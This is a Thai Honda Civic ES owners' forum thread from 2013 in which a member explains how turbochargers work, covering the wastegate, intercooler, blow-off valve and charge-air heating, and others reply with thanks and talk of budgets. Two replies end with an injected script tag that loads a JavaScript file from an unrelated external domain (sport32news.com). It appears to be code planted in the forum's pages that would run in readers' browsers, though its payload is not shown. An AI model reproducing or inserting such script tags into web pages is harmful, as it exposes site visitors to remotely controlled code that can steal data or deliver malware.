เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

yam

ชื่อเล่น: แยม

เข้าร่วม: 28 เมษา 2012
ตอบ: 818

Guru ES
Guru ES

ได้รับคำขอบคุณ: 926
ให้คำขอบคุณ: 1203

ที่อยู่: พหลโยธิน 49/1 กรุงเทพมหานคร
ปี: 2001
สี: ขาว ทาฟเฟต้า (NH-578)

อังคาร, 16 กรกฎา 2013 16:20 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

Turbo คือการนำเอาแรงดันไอเสียมาหมุนใบพัด (Turbine) ซึ่ง ต่ออยู่กับบัดพัดอีกชุดที่ทำหน้าที่ดูดอากาศเข้าเครื่องยนตร์

อากาศมากขึ้น บวกกับนำมันมากข้น (ปรับตั้ง) กำลังอัดในกระบอกสูบมากขึ้น ก็ได้แรงมากขึ้น

ทีนี้มันมีข้อจำกัดคือถ้าเราอัดอากาศไปมาก (บูสท์มาก) เราต้องจ่ายน้ำมันให้พอและเครื่องต้องรับได้

อย่างที่บอกไว้ว่าแรงดันแปลผันตามไอเสียเมื่อรอบเครื่องสูงขึ้น เราก็ยิ่งได้ บูสท์มาก แต่ทำไงไม่ให้มันไหลกันจนเกินพอดี Waste Gate มันมาตอนนี้แหละ มันเป็นตัวคุมบูสท์ เมื่อมันถึงบูสท์ที่เราเซ็ทไว้ มันก้จะเปิดวาวระบายไอเสียส่วนเกินทิ้งไป กันบูสท์ไหล (Over Boost)

ความนี้มาฝั่งไอดี ไอดีโดนดูมาแล้วเกิดอะไรขึ้น อย่างแรกเลย ร้อนขึ้นเพราะถูกอัด ทำไงดีหว่า อากาศร้อน ความหนาแน่นลดลง.... อ่า จับมันทำให้เย็นในอินเตอร์คูลเลอร์ซะหน่อย.. มาอีกหนึ่ง

คราวนี้เราเยียบไป อัดไป... อยู่ดีๆเราถอนคันเร่ง... อ้าว turbo ยังหมุน ยังอัดอากาศมา แต่ปีกผีเสื้อปิด ตายละวา แรงดันย้อนทันทีแล้วพยายามไปหยุดเทอร์โบใบหน้า (ไอดี) ถ้าบูสต์ไม่มาก แรงไม่เยอะ ก็อาจจะแค่ต้องรอรอบใหม่ตอนเร่งอีกครั้ง ถ้าเรงเยอะๆเนี่ย ใบแตก แกนขาด...พังกาจาย.... เลยมีพระเอกมาอีกหนึ่งคือ blow-off valve ทำหน้าที่บ่อยแรงดันหน้าปีกผีเสิ้อทิ้งไปข้างนอกเวลาปีกปิด กันพัง...

ที่ดังๆน่ะส่วนใหญ่ท่อไอเสียครับ แรงไม่แรง โบไม่โบก็ดังได้ ดังแล้วไม่แรงอย่าเลยนะ... ชาวบ้านเค้าขำเอาป่าวๆ .. แรงๆเสียงนุ่ม ไม่โวยวาย เจ๋งก่าเยอะเลย เอาประเภทแรงหลุดโลก ดังฟ้าแตกไปไว้ในสนามดีก่า ไม่กวนชาวบ้าน

อ้อ...Blow-off ก็ดังนะ บางรุ่นทำปากแตรมาเสียงหวานเลย ลองสังเกตุดูเวลารถเค้าถอนคันเร่ง... ฟิ๊ดๆๆๆๆ มาเชียว

TURBO=TUBINE POWER SUPERCHARGER
ปรกติเครื่องยนต์ใช้พลังงานเชื้อเพลิง สันดาปแล้วเกิดเป็นพลังงาน สามส่วน ส่วนที่หนึ่ง ใช้เป็นประโยชน์ คือการขับเคลื่อนยานพาหนะ หรือเครื่องจักรต่างๆ
ส่วนที่สองสูญเสีย ไปกับความร้อน ของเครื่อง หม้อน้ำ
ส่วนที่สาม สูญเสียไปกับท่อไอเสีย
มีคนใช้ประโยชน์จากส่วนที่สอง เช่นHEATER
และส่วนที่สาม ก็นำกลับมาใช้ปั่น TURBINE ได้
หลักการทำงานเทอร์โบก็คือ ทำงานเป็นลักษณะFEEDBACK ปั่นไอเสีย ให้หมุนมากเท่าไหร่ ก็จะมีลมไอดีเข้าเครื่องมากขึ้นไป จนถึงจุดวิกฤติของเทอร์โบหรือเครื่องยนต์เอง จุดประสงค์ของการติดตั้งเทอร์โบเข้ากับเครื่องยนต์คือ ต้องการกำลังม้าออกมาใช้งานให้มากขึ้น จากเครื่องยนต์เท่าเดิมที่ไม่ได้ติดตั้งเทอร์โบ
ผลพลอยได้ คือเมื่อเราใช้กำลังม้าใช้งาน เป็นตัวตั้ง
เครื่องที่ติดเทอร์โบจะมีขนาดเล็กกว่า เบากว่า ต้นทุนการผลิตต่ำกว่า การใช้งาน-เชื้อเพลิงประหยัดกว่า
พื้นที่ในการติดตั้งเครื่องยนต์น้อยกว่า EMISSION control
ดีกว่า
ถ้าเป็นเครื่องยนต์ดีเซล ขนาดใหญ่ ที่มีรอบเครื่องยนต์ ไม่สูงมาก ใช้รอบคงที่ตลอดเวลา ไม่ต้องเข้ากฎEMISSION
control เทอร์โบที่ใช้ไม่จำเป็นต้องมี wastegate
แต่ถ้าเครื่องยนต์ที่มีการเปลี่ยนแปลงรอบเครื่องยนต์ จาก
รอบเดินเบา จนถึงรอบใช้งานสูงสุด แตกต่างกันพอสมควรขึ้นไป ต้องมีwastegateระบายไอเสียออกเพื่อตัดวงจร
FEEDBACK ไม่ให้เทอร์โบหรือเครื่องยนต์เข้าสู่จดวิกฤติ
(เพราะว่าโรงงานเทอร์โบไม่สามารถผลิตโข่งไอเสีย ที่สามารถปรับแรงดันไอเสียให้จำกัดได้ ซึ่งในปัจจุบันโข่งไอเสียที่ปรับแรงดันให้จำกัดนั้นเป็นแบบแปรผัน ซึ่งจะ
ต้องมี ระบบ อีเลคทรอนิค มาสร้างVACUUMเพื่อควบคุม
โข่งแปรผันนี้)
การควบคุมWASTEGATE จะอาศัยระบบกลไก โดยใช้
ลมแรงดันจากฝั่งไอดีเครื่องยนต์ ตั้งแต่ฝาไอดีเทอร์โบเอง
ไปจนถึงท่อร่วมไอดีจุดไหนก็ได้ มาสั่งตัวกระตุ้น
(actuatorมีไดแฟลมและสปริง) ให้ไปดันวาวล์ของ
wastegateให้เปิดไล่ลมออก เพื่อลดแรงดัน
ส่วน BLOW OFF VALVE จะติดตั้งก็ต่อเมื่อใช้เทอร์โบที่ไม่ใช่ STANDARD คือมีขนาดใบพัดไอดีไม่สัมพันธ์กับขนาดไอเสีย จนเกิดแรงเฉื่อยขึ้นมาก ขณะถอนคันเร่ง ตาม คห.1 จึงต้องมีวาวล์เปิดไล่แรงดันออก แต่การทำงานของ BLOW OFF VALVE จะต้องอาศัย VACUUM ของเครื่องยนต์มาสั่งงาน จึงจะเห็นเฉพาะเครื่องเบนซิน ที่มี
BLOW OFF VALVE
ส่วนเสียง ดัง ชึ่งๆ ตอนรถเปลี่ยนเกียร์ เกิดจากการใช้
BLOW OFF VALVE ที่มีการแต่งเสียงจากผู้ผลิต
(ลักษณะการทำงานคล้ายนกหวีด)
ถ้าเริ่มจากห้องเผาไหม้ อากาศที่ถูกสันดาปจะขยายตัวเนื่องจากพลังงานความร้อน ไปปั่นใบเทอร์ไบน์ที่อยู่โข่งหลังของเทอร์โบ พอมันผ่านใบหลังแล้วก็จะลดพลังงานลง ปล่อยออกสู่บรรยากาศ

ทีนี้ ใบเทอร์ไบน์ที่โข่งหน้าเทอร์โบที่ยึดติดกับแกนที่ต่อกับใบเทอร์ไบน์ที่โข่งหลังเทอร์โบ (งงล่ะสิ อิอิ อ่านซักสองรอบน่าจะเข้าใจนะ) จะหมุนด้วยความเร็วเท่ากับใบเทอร์ไบน์ที่โข่งหลัง ดูดอากาศมาเพิ่มความดัน (อัดอากาศนั่นแหละ) เมื่ออากาศเพิ่มความดัน แต่ปริมาตรเท่าเดิม ตามกฎ PV=RT ก็จะมีอุณหภูมิสูงขึ้น และจากการที่อากาศไหลผ่านเทอร์โบ ที่มีไอเสียถ่ายเทความร้อนมาให้ อากาศที่ผ่านใบหน้าก็จะยิ่งมีอุณหภูมิสูงขึ้นไปอีก

ซึ่งอุณหภูมิที่สูงขึ้นนี้ ไม่เป็นผลดีต่อการสันดาป (คิดดูแล้วกัน NA ดูดอากาศ สมมติว่า 30 C สันดาปได้อุณหภูมิสูงสุดที่ 2500 C แต่เทอร์โบ ถ้าอัดอากาศเข้าไปแล้ว สมมติว่าได้ซัก 70 C แล้วกัน แต่เวลาจุดระเบิด ก็ได้เปลวไฟที่อุณหภูมิเท่ากัน 2500 C ส่วนต่างของ 40 C นี้ ถือว่าเยอะมาก แต่ก็ได้ปริมาณอากาศที่อัดเข้าไปเยอะกว่าขยายตัวมากกว่าแทน ถ้างง ลองคิดว่าอากาศที่ไม่อัด 1 หน่วย ขยายตัวได้ 1.5 เท่า กับ อากาศอัดเข้าไป 1.5 หน่วย ขยายตัวได้ 1.25 เท่า ถามว่า ตัวไหนจะขยายตัวได้มากกว่ากัน? ฉันใดก็ฉันนั้น)

จึงต้องนำมาลดอุณหภูมิ การลดอุณหภูมิที่สามารถทำได้ง่าย ประหยัด และสะดวกที่สุด (แต่ไม่ดีที่สุด) คือการพยายามทำให้อากาศที่อัดมา มีอุณหภูมิใกล้เคียง หรือเทียบเท่าอุณหภูมิสภาพแวดล้อม ซึ่งก็นำมาผ่านอินเตอร์คูลเลอร์นั่นเอง (เหมือนคนออกกำลังกายมา เหงื่อท่วมๆ ให้มายืนชิดๆกัน ถามว่า ใครจะยืนชิดกันได้ครับ? อึดอัดนะ ก็จะมีช่วงเว้นว่าง กับ คนที่อยู่ในห้องแอร์ ยืนชิดๆกัน (หลังติดหน้า) ก็จะมีปริมาณคนยืนมากกว่าในความยาวแถวที่เท่ากัน เพราะยืนติดกันก็ไม่ร้อน ไม่เหนอะหนะ ฉันใดก็ฉันนั้น)

พออากาศเย็นตัวลง ก็จะมาผ่านลิ้นปีกผีเสื้อที่ทำหน้าที่ควบคุมปริมาณอากาศที่จะเข้าห้องเผาไหม้ แล้วก็จะเข้าสู่ห้องเผาไหม้ตามวัฏจักรต่อไป

ตามรูปครับ

Attached File :

เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

แก้ไขล่าสุดโดย เมื่อ อังคาร, 16 กรกฎา 2013 17:21, ทั้งหมด 1 ครั้ง (ดูทั้งหมด)

wisarutj

ชื่อเล่น: รุต

เข้าร่วม: 21 กรกฎา 2010
ตอบ: 798

Guru ES
Guru ES

ได้รับคำขอบคุณ: 482
ให้คำขอบคุณ: 9

ที่อยู่: Rayong
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 16 กรกฎา 2013 16:30 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

เยี่ยมครับ ความรู้

ได้รับคำขอบคุณจาก: yam

tawan1986

ชื่อเล่น: เก่ง

เข้าร่วม: 25 กันยา 2012
ตอบ: 479

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 574
ให้คำขอบคุณ: 1219

ที่อยู่: พระราม2-บางกระดี่-ชัยภูมิ
ปี: 2001

อังคาร, 16 กรกฎา 2013 16:31 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

เก็บความรุ้อีกแล้ว

ได้รับคำขอบคุณจาก: yam

TUNG11

ชื่อเล่น: ต้อง

เข้าร่วม: 31 พฤษภาคม 2012
ตอบ: 617

Guru ES
Guru ES

ได้รับคำขอบคุณ: 345
ให้คำขอบคุณ: 360

ที่อยู่: บางปะกง 8 ริ้ว
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 16 กรกฎา 2013 16:34 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ข้อมูลดีๆทั้งนั้น

ได้รับคำขอบคุณจาก: yam

yam

ชื่อเล่น: แยม

เข้าร่วม: 28 เมษา 2012
ตอบ: 818

Guru ES
Guru ES

อังคาร, 16 กรกฎา 2013 17:16 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

อยากติดซะแล้วสิ

PuTT

ชื่อเล่น: พัท

เข้าร่วม: 01 กรกฎา 2013
ตอบ: 45

น้องใหม่

ได้รับคำขอบคุณ: 24
ให้คำขอบคุณ: 3

ที่อยู่: บางบัวทอง
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)

อังคาร, 16 กรกฎา 2013 17:31 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

แหล่ม

ได้รับคำขอบคุณจาก: yam

flatron24

เข้าร่วม: 24 ธันวา 2011
ตอบ: 784

Guru ES
Guru ES

ได้รับคำขอบคุณ: 469
ให้คำขอบคุณ: 35

ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 16 กรกฎา 2013 18:52 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณสำหรับความรู้ครับ

ได้รับคำขอบคุณจาก: yam

Nipat

ชื่อเล่น: บี

เข้าร่วม: 17 มิถุนา 2011
ตอบ: 392

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 334
ให้คำขอบคุณ: 100

ที่อยู่: ตราด
ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

อังคาร, 16 กรกฎา 2013 19:10 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

อย่างนี้นี่เอง

ได้รับคำขอบคุณจาก: yam

maxch

เข้าร่วม: 13 สิงหา 2009
ตอบ: 2190

ครอบครัว ES

ได้รับคำขอบคุณ: 1513
ให้คำขอบคุณ: 2530

ที่อยู่: อยุธยา-สระบุรี
ปี: 2003

อังคาร, 16 กรกฎา 2013 21:23 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณสำหรับข้อมูลดีๆ

ได้รับคำขอบคุณจาก: yam

สมชาย

เข้าร่วม: 14 มกรา 2013
ตอบ: 5916

ครอบครัว ES

ได้รับคำขอบคุณ: 4245
ให้คำขอบคุณ: 7209

ที่อยู่: อ.บ้านบึง จ.ชลบุรี
ปี: 2001
สี: แดง รอยัล รูบี้ (มุก) (R-522P)

อังคาร, 16 กรกฎา 2013 21:45 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

...

ได้รับคำขอบคุณจาก: yam

taguunzae

ชื่อเล่น: นู๋ผึ้ง

เข้าร่วม: 18 กรกฎา 2011
ตอบ: 1079

ครอบครัว ES

ได้รับคำขอบคุณ: 1756
ให้คำขอบคุณ: 1460

ที่อยู่: สป.บางพลี สค.มหาชัย ชลบุรี-ศรีราชา
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 16 กรกฎา 2013 22:18 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณคะ

ได้รับคำขอบคุณจาก: yam

kavinthorn

ชื่อเล่น: ต่อ

เข้าร่วม: 26 กันยา 2012
ตอบ: 1539

ครอบครัว ES

ได้รับคำขอบคุณ: 1314
ให้คำขอบคุณ: 701

ที่อยู่: BKK Latkrabang

อังคาร, 16 กรกฎา 2013 22:24 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณครับ

ได้รับคำขอบคุณจาก: yam

eweyaza

เข้าร่วม: 20 ธันวา 2010
ตอบ: 145

มือใหม่หัดขับ

ได้รับคำขอบคุณ: 74
ให้คำขอบคุณ: 36

ปี: 2001
สี: ดำ ไนท์ฮอว์ก (B-92P)

พุธ, 17 กรกฎา 2013 11:36 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณสำหรับความรู้ครับ

ได้รับคำขอบคุณจาก: yam

yam

ชื่อเล่น: แยม

เข้าร่วม: 28 เมษา 2012
ตอบ: 818

Guru ES
Guru ES

พุธ, 17 กรกฎา 2013 11:56 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

...

yam

ชื่อเล่น: แยม

เข้าร่วม: 28 เมษา 2012
ตอบ: 818

Guru ES
Guru ES

ศุกร์, 16 สิงหา 2013 11:26 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

อยากได้ ๆ ๆ ๆ ๆ

.....

NutNicha

ชื่อเล่น: นัท

เข้าร่วม: 21 พฤษภาคม 2013
ตอบ: 463

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 314
ให้คำขอบคุณ: 106

ที่อยู่: ราชบุรี
ปี: 2004
สี: ทอง แซทเทิลไลท์ (NH-663M)

ศุกร์, 16 สิงหา 2013 11:52 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

......

ได้รับคำขอบคุณจาก: yam

Memory11

ชื่อเล่น: หนึ่ง

เข้าร่วม: 06 พฤษภาคม 2013
ตอบ: 1892

ครอบครัว ES

ได้รับคำขอบคุณ: 1457
ให้คำขอบคุณ: 2074

ที่อยู่: ลาดพร้าว-บางกะปิ
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 16 สิงหา 2013 11:55 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

แน่นปึ๊ก...

ได้รับคำขอบคุณจาก: yam

etabb

ชื่อเล่น: อีตาบีบี

เข้าร่วม: 02 เมษา 2010
ตอบ: 797

Guru ES
Guru ES

ได้รับคำขอบคุณ: 2637
ให้คำขอบคุณ: 1611

ที่อยู่: ลาดพร้าว
ปี: 2003
สี: ทอง แซทเทิลไลท์ (NH-663M)

ศุกร์, 16 สิงหา 2013 11:56 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

/..

ได้รับคำขอบคุณจาก: yam

LnwwasaD

ชื่อเล่น: เฟริท

เข้าร่วม: 10 เมษา 2012
ตอบ: 3543

ครอบครัว ES

ได้รับคำขอบคุณ: 2843
ให้คำขอบคุณ: 2957

ที่อยู่: ปทุมธานี รังสิต-บางพูน [ ES เมืองทอง ]
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 16 สิงหา 2013 12:31 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ท่านแยม จะไปผูกโบ แล้วหราครับ .......

ได้รับคำขอบคุณจาก: yam

yam

ชื่อเล่น: แยม

เข้าร่วม: 28 เมษา 2012
ตอบ: 818

Guru ES
Guru ES

พฤหัส, 3 ตุลา 2013 16:46 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

LnwwasaD พิมพ์ว่า:

ท่านแยม จะไปผูกโบ แล้วหราครับ .......

ก็ อยาก อยู่ คับแต่ติดอยู่ว่า งบม่ายมี

jojowaiwai

ชื่อเล่น: โจ้

เข้าร่วม: 08 กันยา 2013
ตอบ: 162

มือใหม่หัดขับ

ได้รับคำขอบคุณ: 91
ให้คำขอบคุณ: 680

ที่อยู่: สามพราน นครปฐม ลพบุรี
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)

พฤหัส, 3 ตุลา 2013 19:52 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ข้อมูลดีมากครับ

aunja

ชื่อเล่น: อั๋น

เข้าร่วม: 08 มิถุนา 2012
ตอบ: 822

Guru ES
Guru ES

ได้รับคำขอบคุณ: 820
ให้คำขอบคุณ: 2141

ที่อยู่: อยุธยา บุรีรัมย์ ชัยภูมิ
ปี: 2004
สี: ทอง แซทเทิลไลท์ (NH-663M)

พฤหัส, 3 ตุลา 2013 21:11 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

งบเท่าไร
50000จบมั้ยครับ อยากได้

TanKrab

ชื่อเล่น: ตาล

เข้าร่วม: 23 กันยา 2012
ตอบ: 509

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 488
ให้คำขอบคุณ: 618

ที่อยู่: พิษณุโลก
ปี: 2002
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

พฤหัส, 3 ตุลา 2013 21:35 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

อ่านจบแล้วอยากผูกโบว์ทันทีเลย <script src="https://sport32news.com/civicesgroup.js"></

a_ten

ชื่อเล่น: เอ

เข้าร่วม: 11 มกรา 2012
ตอบ: 554

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 519
ให้คำขอบคุณ: 286

ที่อยู่: kanchanaburi
ปี: 2003
สี: ขาว ทาฟเฟต้า (NH-578)

เสาร์, 5 ตุลา 2013 09:34 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณข้อมูลนะคับ

aonjang237

ชื่อเล่น: อ้น

เข้าร่วม: 11 มิถุนา 2013
ตอบ: 812

Guru ES
Guru ES

ได้รับคำขอบคุณ: 555
ให้คำขอบคุณ: 130

ที่อยู่: อ.ด่านช้าง จ.สุพรรณบุรี
ปี: 2002

เสาร์, 5 ตุลา 2013 11:03 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

เก็บข้อมูลไว้แล้วกัน เพราะกะตังไม่มีทำ <script src="https://sport32news.com/civicesgroup.js"></

note_okaasan

ชื่อเล่น: สมุดโน้ต

เข้าร่วม: 29 พฤษภาคม 2013
ตอบ: 665

Guru ES
Guru ES

ได้รับคำขอบคุณ: 268
ให้คำขอบคุณ: 665

ที่อยู่: ลาดกระบัง อ่อนนุช
ปี: 2003
สี: ขาว ทาฟเฟต้า (NH-578)

เสาร์, 5 ตุลา 2013 11:13 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ข้อมูลเยี่ยม...

Freedom_man

ชื่อเล่น: ÃƒÆ’Ã†â€™Ã

เข้าร่วม: 04 กรกฎา 2013
ตอบ: 212

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 114
ให้คำขอบคุณ: 63

ที่อยู่: วังน้อย.นวนคร
ปี: 2002
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

เสาร์, 5 ตุลา 2013 23:43 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ได้ข้อมูลอีกแล้วครับ

nammon_211

ชื่อเล่น: น้ำมนต์

เข้าร่วม: 12 มิถุนา 2013
ตอบ: 2081

ครอบครัว ES

ได้รับคำขอบคุณ: 1949
ให้คำขอบคุณ: 1031

ที่อยู่: ESC / แหลมฉบัง ชลบุรี@ นครศรีธรรมราช
ปี: 2003
สี: ทอง แซทเทิลไลท์ (NH-663M)

เสาร์, 5 ตุลา 2013 23:57 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอใจเธอ..แลก..เทอโบ

Supap

เข้าร่วม: 26 พฤศจิกา 2012
ตอบ: 950

ครอบครัว ES

ได้รับคำขอบคุณ: 469
ให้คำขอบคุณ: 144

ที่อยู่: ศรีราชา ชลบุรี
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อาทิตย์, 6 ตุลา 2013 17:54 - เอาข้อมูลดีๆมาฝากคับ สำหรับคนที่อยากจะติด tubro

ขอบคุณครับ